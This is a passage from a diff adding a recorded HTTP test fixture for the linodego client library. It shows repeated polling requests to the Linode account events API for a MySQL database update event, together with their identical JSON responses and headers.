"/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:29:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:30:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:30:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:30:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:30:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:31:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:31:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:31:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:31:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:32:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:32:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:32:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:32:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:33:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:33:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:33:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:33:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: 